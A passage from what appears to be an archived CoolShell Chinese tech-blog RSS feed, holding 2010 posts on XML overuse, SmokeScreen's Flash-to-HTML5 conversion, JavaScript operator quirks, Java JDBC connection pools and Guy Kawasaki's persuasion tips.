&lt;field name=&quot;dob&quot; type=&quot;date&quot; mapsto=&quot;person.dateofbith&quot;/&gt;\n        &lt;field name=&quot;sex&quot; type=&quot;char&quot; mapsto=&quot;person.sex&quot;/&gt;\n        &lt;field name=&quot;modified&quot; type=&quot;date&quot; mapsto=&quot;record.modified&quot;/&gt;\n    &lt;/fields&gt;\n    &lt;csvdata columnheaders=&quot;false&quot;&gt;\n&lt;![CDATA[\n&quot;Jack Wade&quot;,214,2002,111012,07/04/1975,&quot;M&quot;,02/11/2006\n&quot;Sam Davidson&quot;,214,1999,104841,10/15/1967,&quot;M&quot;,02/10/2006\n&quot;Denise V Law&quot;,214,1998,104660,01/21/1971,&quot;F&quot;,02/17/2006\n&quot;Lisa Blake&quot;,214,1989,100987,08/01/1982,&quot;F&quot;,01/21/2006\n&quot;Andrew Match&quot;,214,1991,101074,12/25/1980,&quot;M&quot;,02/28/2006\n]]&gt;\n    &lt;/csvdata&gt;\n&lt;/import&gt;</pre>\n<h4>四、如何把XML当成数组来用</h4>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">&lt;rootNode&gt;\n   &lt;numberOfAddresses&gt;110&lt;/numberOfAddresses&gt;\n   &lt;address_1&gt;442 Fake St.&lt;/address_1&gt;\n   &lt;address_2&gt;61 Main St.&lt;/address_2&gt;\n   ...\n   ...\n   ...\n   &lt;address_110&gt;3881 N 4th Ave. #5D&lt;/address_110&gt;\n&lt;/rootNode&gt;</pre>\n<p>相信你一定有比这更牛X的例子，欢迎与我们分享！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"语言的数据亲和力\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_title\">语言的数据亲和力</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3609.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"那些炒作过度的技术和概念\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3609.html\" class=\"wp_rp_title\">那些炒作过度的技术和概念</a></li><li ><a href=\"https://coolshell.cn/articles/3585.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"SOAP的S是Simple\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3585.html\" class=\"wp_rp_title\">SOAP的S是Simple</a></li><li ><a href=\"https://coolshell.cn/articles/3498.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"信XML，得自信\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3498.html\" class=\"wp_rp_title\">信XML，得自信</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2504.html\">信XML，得永生！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2504.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>50</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-29.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 29 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=29\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Thu, 06 Mar 2014 14:22:41 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>把Flash转成Javascript/HTML5</title>\n\t\t<link>https://coolshell.cn/articles/2497.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2497.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 03 Jun 2010 00:29:18 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[SmokeScreen]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2497</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>SmokeScreen是这样一个开源软件，它可以把Flash的swf文件转成Javascript/HTML5，它的口号是：Flash without plugi...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2497.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2497.html\">把Flash转成Javascript/HTML5</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-2502\" src=\"https://coolshell.cn/wp-content/uploads/2010/06/splash-html5-flash.jpg\" alt=\"\" width=\"300\" height=\"145\" /><a href=\"http://smokescreen.us/\" target=\"_blank\">SmokeScreen</a>是这样一个开源软件，它可以把Flash的swf文件转成Javascript/HTML5，它的口号是：Flash without plugin。为什么要这样做呢？它说主要是因主Apple的iPhone/iPod/iPad不支持flash，而且看似Steve Jobs也不愿意在以后支持flash。所以，他们搞了这样一个玩意。目前，这个开源软件还在开发阶段，在其主页上，你可以看到一些<a href=\"http://smokescreen.us/demo/\" target=\"_blank\">Demo</a>，在Chrome上看上去很不错，虽然还有一些小问题，不过已经很不错了。</p>\n<p>HTML5几乎颠覆了原来的HTML，其可以让你用HTML不单单只是做网页布局，而且还让你可以开发更强的东西，比如：<a href=\"http://dev.w3.org/html5/websockets/\" target=\"_blank\">WebSockets</a>，使用这项技术，已经有人在搞Web版的Quake 2了（<a href=\"http://code.google.com/p/quake2-gwt-port/\" target=\"_blank\">http://code.google.com/p/quake2-gwt-port/</a>），还有<a href=\"https://coolshell.cn/articles/599.html\" target=\"_blank\">Google的3D Javascript API</a>，所以，把swf完美地转成Javscript/HTML5可能也只是一个时间问题。</p>\n<p>虽然，HTML5还在<a href=\"http://dev.w3.org/html5/spec/Overview.html\" target=\"_blank\">draft阶段</a>，而且很多东西都和flash重复了。所以，加上iPhone的推波助澜，发生这样的事情也不奇怪，不知道adobe会怎么想？也许adobe目前对其AIR或是Actionscript还抱有希望，虽然有这样<a href=\"http://infoworld.com/d/developer-world/html5-vs-flash-the-case-flash-721\" target=\"_blank\">一篇文章</a>力挺Flash，但未来真的不好说，adobe会使用HTML5/Javascript来作为其flash的引擎吗？如果不这样的话，我相信总有一天，会有人开发出HTML5/Javascript的IDE。而且，有理由相信，一旦在未来所有的浏览全面支持HTML5，那么我们可以想像，这个世界可能几乎所有的桌面应用都会被Web所取代，这个进程可能会越来越快。让我们拭目以待。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png\" alt=\"一些文章资源和趣闻\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5537.html\" class=\"wp_rp_title\">一些文章资源和趣闻</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"JS游戏引擎列表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3516.html\" class=\"wp_rp_title\">JS游戏引擎列表</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2497.html\">把Flash转成Javascript/HTML5</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2497.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>15</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>WTF Javascript</title>\n\t\t<link>https://coolshell.cn/articles/2492.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2492.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 02 Jun 2010 01:51:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[wtfjs.com]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2492</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>请先看一下下面的这段Javascript程序以及其结果。 [javascript] 1 + + 1              // =&#62; 2 1 + &#...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2492.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2492.html\">WTF Javascript</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>请先看一下下面的这段Javascript程序以及其结果。</p>\n<p>[javascript]<br />\n1 + + 1              // =&gt; 2<br />\n1 + &#8211; + 1            // =&gt; 0<br />\n1 + &#8211; + &#8211; + 1        // =&gt; 2<br />\n1 + &#8211; + &#8211; + &#8211; + 1    // =&gt; 0<br />\n1 + &#8211; + + + &#8211; + 1    // =&gt; 2<br />\n1 + / + + + / + 1    // =&gt; 1/ + + + /1<br />\n[/javascript]</p>\n<p>提示一下，1++1等价于1 + (+1)，也就是1加上一个正数1，如果你能搞懂其它的表达式的话，请看看下面的这段程序，你能说出其结果吗？</p>\n<p>[javascript]<br />\n1 + / + / + / + 1    // =&gt; ?<br />\n[/javascript]</p>\n<p>如果不知道的话，你可以到这个<a href=\"http://mir.aculo.us/2010/05/28/valid-javascript-or-not/\" target=\"_blank\">网页上去讨论讨论</a>。当然，如果你不懂也没有什么关系，因为Javascript本身就是一个很怪异的语言，再加上浏览器的种种不是，所以，<a href=\"https://coolshell.cn/articles/1850.html\" target=\"_blank\">Javascript程序员也是很郁闷的</a>。在以前的“<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/2053.html\" target=\"_blank\">最为奇怪的程序语言的特性</a>”中也说过一些。Javascript最怪异的特性导致了<a href=\"http://wtfjs.com/\">wtfjs.com</a>这样的一个网站，还有一个<a href=\"http://github.com/brianleroux/wtfjs\" target=\"_blank\">WTF JS的开源站点</a>。呵呵。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2492.html\">WTF Javascript</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2492.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>四个流行的Java连接池</title>\n\t\t<link>https://coolshell.cn/articles/2483.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2483.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 02 Jun 2010 01:31:12 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[BoneCP]]></category>\n\t\t<category><![CDATA[C3P0]]></category>\n\t\t<category><![CDATA[DBCP]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Proxool]]></category>\n\t\t<category><![CDATA[连接池]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2483</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>C3P0是一个开放源代码的JDBC连接池，它在lib目录中与Hibernate一起发布,包括了实现jdbc3和jdbc2扩展规范说明的Connection 和S...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2483.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2483.html\">四个流行的Java连接池</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"http://www.qqread.com/ArtImage/20091118/tu82_1.jpg\" alt=\"\" width=\"210\" height=\"235\" />C3P0</strong>是一个开放源代码的JDBC连接池，它在lib目录中与Hibernate一起发布,包括了实现jdbc3和jdbc2扩展规范说明的Connection 和Statement 池的DataSources 对象。（主页：<a href=\"http://sourceforge.net/projects/c3p0/\" target=\"_blank\">http://sourceforge.net/projects/c3p0/</a>）</p>\n<p><strong>BoneCP </strong>是一个开源的快速的 JDBC 连接池。BoneCP很小，只有四十几K（运行时需要<a href=\"http://logging.apache.org/log4j/1.2/index.html\" target=\"_blank\">log4j</a>和<a href=\"http://code.google.com/p/google-collections/\" target=\"_blank\">Google Collections</a>的支持，这二者加起来就不小了），而相比之下 <a href=\"http://sourceforge.net/projects/c3p0/\" target=\"_blank\">C3P0</a> 要六百多K。另外个人觉得 BoneCP 有个缺点是，JDBC驱动的加载是在连接池之外的，这样在一些应用服务器的配置上就不够灵活。当然，体积小并不是 BoneCP 优秀的原因，BoneCP 到底有什么突出的地方呢，请看看<a href=\"http://jolbox.com/benchmarks.html\" target=\"_blank\">性能测试报告</a>。（主页：<a href=\"http://jolbox.com/\" target=\"_blank\">http://jolbox.com/</a>）</p>\n<p><strong>DBCP</strong> （<strong>D</strong>ata<strong>b</strong>ase <strong>C</strong>onnection <strong>P</strong>ool）是一个依赖Jakarta commons-pool对象池机制的数据库连接池，Tomcat的数据源使用的就是DBCP。目前 DBCP 有两个版本分别是 1.3 和 1.4。1.3 版本对应的是 JDK 1.4-1.5 和 JDBC 3，而1.4 版本对应 JDK 1.6 和 JDBC 4。因此在选择版本的时候要看看你用的是什么 JDK 版本了，功能上倒是没有什么区别。（主页：<a href=\"http://commons.apache.org/dbcp/\" target=\"_blank\">http://commons.apache.org/dbcp/</a>）</p>\n<p><strong>Proxool</strong>是一个Java SQL Driver驱动程序，提供了对你选择的其它类型的驱动程序的连接池封装。可以非常简单的移植到现存的代码中。完全可配置。快速，成熟，健壮。可以透明地为你现存的JDBC驱动程序增加连接池功能。（主页：<a href=\"http://proxool.sourceforge.net/\" target=\"_blank\">http://proxool.sourceforge.net/</a>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2483.html\">四个流行的Java连接池</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2483.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>说服他人的5种技巧 &#8211; Guy Kawasaki</title>\n\t\t<link>https://coolshell.cn/articles/2460.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2460.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sun, 23 May 2010 00:20:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Guy Kawasaki]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2460</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>硅谷传奇创业者+精神领袖 Guy Kawasaki最近写了一篇新文章总结了以下5种说服他人的技巧。希望对大家对付老外有帮助。摘要如下： 先给予，后索取 (Be ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2460.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2460.html\">说服他人的5种技巧 – Guy Kawasaki</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>硅谷传奇创业者+精神领袖 Guy Kawasaki最近写了一篇新文章总结了以下5种说服他人的技巧。希望对大家对付老外有帮助。摘要如下：<img decoding=\"async\" loading=\"lazy\" class=\"alignleft\" title=\"little gift\" src=\"https://www.openforum.com/media/db4cb6ac-3e35-48cc-87cb-19fe7b299c5c_detail.jpg\" alt=\"\" width=\"322\" height=\"241\" /></p>\n<ol>\n<li><strong>先给予，后索取 </strong>(Be the first to give )。研究表明，我们容易被给我们帮过忙的人说服：有些服务员给我们结账的时候带来口香糖，我们一般给他们的小费多些。工作中我们更倾向于给帮助过我们的人更多支持&#8230;</li>\n<li><strong>不要给对方太多选择 </strong>(don&#8217;t offer too many choices)：不论是给用户选择，还是给员工的奖励机制，太多的选择经常会给人带来挫折感&#8230;</li>\n<li><strong>不要以自我为中心辩护</strong>(argue against self-interest)。在说服别人的过程中，信任是最关键的。有时候在大力鼓吹之前承认自己方面的一些小不足可以提高信任感&#8230;</li>\n<li><strong>失去比得到更有说服力</strong> (losses are more persuasive than gains)。告诉对方如果不接受你的意见或者不买的你的产品会失去什么，要比只是说明他们会得到什么要更能说服人&#8230;</li>\n<li><strong>让对方觉得自己已经取得了一定进步</strong> (make people feel as if they&#8217;ve already made progress toward a goal)。例如以下两种推销洗车会员卡服务的方法，方法2的顾客保持率是方法1的两倍。\n<ol>\n<li>洗八次赠一次</li>\n<li>洗十次车赠一次，第一次算免费赠送</li>\n</ol>\n</li>\n</ol>\n<p>原文<a href=\"http://www.openforum.com/idea-hub/topics/the-world/article/5-ways-to-be-persuasive-guy-kawasaki\">link</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img 